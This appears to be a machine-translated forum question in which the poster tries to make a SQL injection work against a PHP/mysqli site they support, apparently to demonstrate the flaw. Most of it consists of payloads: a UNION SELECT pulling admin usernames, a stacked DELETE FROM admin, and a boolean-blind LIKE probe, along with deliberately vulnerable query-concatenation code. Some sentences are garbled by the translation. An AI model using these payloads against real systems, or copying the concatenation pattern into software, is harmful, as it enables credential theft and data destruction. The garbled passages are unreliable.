One developer has just introduced a SQL injection vulnerability on a website that I support, and I want to show how easy it can be to use; but there are a few problems.
Taking SQL, roughly speaking:
SELECT c.id, c.name, c.start FROM course AS c WHERE MONTH(c.start) = $_GET['month'] ORDER BY c.start
If I set $_GET['month']
to:
13 UNION SELECT 1, username, 3 FROM admin
This will run the request:
SELECT c.id, c.name, c.start FROM course AS c WHERE MONTH(c.start) = 13 UNION SELECT 1, username, 3 FROM admin ORDER BY c.start
What will work if ORDER BY did not include the table alias c.
. Instead, this results in an error:
Table 'c' from one of the SELECTs cannot be used in field list
Alias
Adding c
ALIAS to admin
doesn't matter either:
13 UNION SELECT 1, c.username, 3 FROM admin AS c
Commenting
I tried using --
to comment on ORDER BY, but this does not work because it is on a new line:
13 UNION SELECT 1, c.username, 3 FROM admin AS c
Similarly /*
will not work, because I cannot add the final */
:
13 UNION SELECT 1, c.username, 3 FROM admin AS c
Split requests
It also seems that mysqli_prepare()
does not like ;
anywhere in the query - so DROP, DELETE or TRUNCATE will result in a SQL syntax error:
13; DELETE FROM admin;
Decision
At the moment, the only thing I can think of is to add to the WHERE clause so that the attacker can get a yes / no answer (some recordings or recordings without recording), as well as the following: but this is less satisfactory than viewing the recordings appear on the screen :-)
SELECT c.id, c.name, c.start_estimate FROM thr_course_term AS c WHERE MONTH(c.start_estimate) = 13 OR 1 = (SELECT 1 FROM thr_admin WHERE username LIKE "crai%") ORDER BY c.start_estimate;
Source
SQL runs in PHP with mysqli
, and the code is crude:
<?php $month = '13 UNION SELECT 1, username, 3 FROM admin'; // from $_GET['month'] $sql = 'SELECT c.id, c.name, c.start FROM course AS c WHERE MONTH(c.start) = ' . $month . ' ORDER BY c.start'; $link = mysqli_connect('localhost', 'username', 'password', 'database'); $statement = mysqli_prepare($link, $sql); if (!$statement) { echo $link->error; } else { // Skip the bind_param bit $result = $statement->execute(); $result = $statement->get_result(); while ($row = mysqli_fetch_assoc($result)) { print_r($row); } } ?>